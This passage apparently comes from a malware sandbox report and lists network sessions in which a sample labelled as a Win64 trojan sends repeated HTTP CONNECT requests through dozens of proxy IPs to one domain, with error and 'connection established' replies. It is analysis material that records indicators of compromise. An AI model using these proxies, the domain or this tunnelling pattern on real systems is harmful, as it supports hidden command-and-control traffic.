329	192.168.2.8	51187	98.188.47.132	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.290050030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.8	51174	187.40.1.123	128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.297848940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.506841898 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:29:10.495812893 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/5.2 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:29:02 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17038 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 65 67 6f 65 2c 20 27 53 65 67 6f 65 20 55 49 27 2c 20 27 44 65 6a 61 56 75 20 53 61 6e 73 27 2c 20 27 54 72 65 62 75 63 68 65 74 20 4d 53 27 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 41 76 69 73 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 63 37 63 61 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 20 31 30 30 25 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 72 65 74 69 63 65 6e 63 69 61 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 20 65 6c 6c 69 70 73 69 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 39 36 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 35 30 30 70 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 38 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 22 64 65 6e 79 5f 6c 6f 67 6f 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 4e 63 41 41 41 41 76 43 41 59 41 41 41 42 Data Ascii: <!DOCTYPE html><html style="background-color: #f9f9f9 !important;font-family:Segoe, 'Segoe UI', 'DejaVu Sans', 'Trebuchet MS', Verdana, sans-serif;"> <head> <meta charset="UTF-8"> <title>Aviso</title> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <style> html{background: #3c7ca0 !important;} body{background: transparent !important;height: 100%;} .reticencias { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width:96%; margin-bottom:0 !important; } </style> </head> <body id="ERR_CANNOT_FORWARD" style="font-size:12px; "> <div class="container" align="center"> <div class="row" style="min-width:500px"> <div class="col-xs-8" style="text-align:center;padding-top:50px; padding-bottom:10px"><img class="deny_logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANcAAAAvCAYAAAB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.8	51145	211.222.252.187	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.302315950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.8	51248	104.21.218.103	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.305048943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.395463943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.8	50543	208.109.13.93	27877	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.306313992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.392900944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.398206949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.398343086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.398121119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:00.397906065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:12.429121971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.8	51199	94.23.83.53	31633	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.311475039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.741600037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.210475922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.195226908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.8	51254	23.227.38.230	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.314939022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.402477026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.8	51257	185.162.229.112	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.316214085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.403928995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.8	51270	104.17.239.10	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.321610928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.409013987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.8	51271	172.67.181.129	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.323132992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.414175987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.8	50682	72.195.101.99	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.323295116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.8	50697	72.195.34.42	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.340975046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.8	51127	221.230.7.39	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.344214916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.8	51287	104.27.37.131	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.344953060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.432358980 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.8	51283	104.19.124.112	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.345000029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.433079958 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.8	51224	184.181.217.213	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.346110106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.8	51190	167.86.69.142	46859	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.346370935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.8	51293	167.99.233.164	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.347346067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.8	51249	104.238.111.107	7757	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.371692896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.788487911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.352927923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.398086071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.288706064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.8	51235	174.75.211.222	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.371851921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.8	51175	79.132.192.13	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.372697115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.724867105 CET	84	IN	HTTP/1.0 200 Connection established Proxy-agent: Kerio Control/9.4.3 build 8353

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.8	51339	172.67.206.105	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.374475956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.462215900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.8	51158	202.83.102.83	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.381356955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.706284046 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.8	51243	47.91.65.23	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
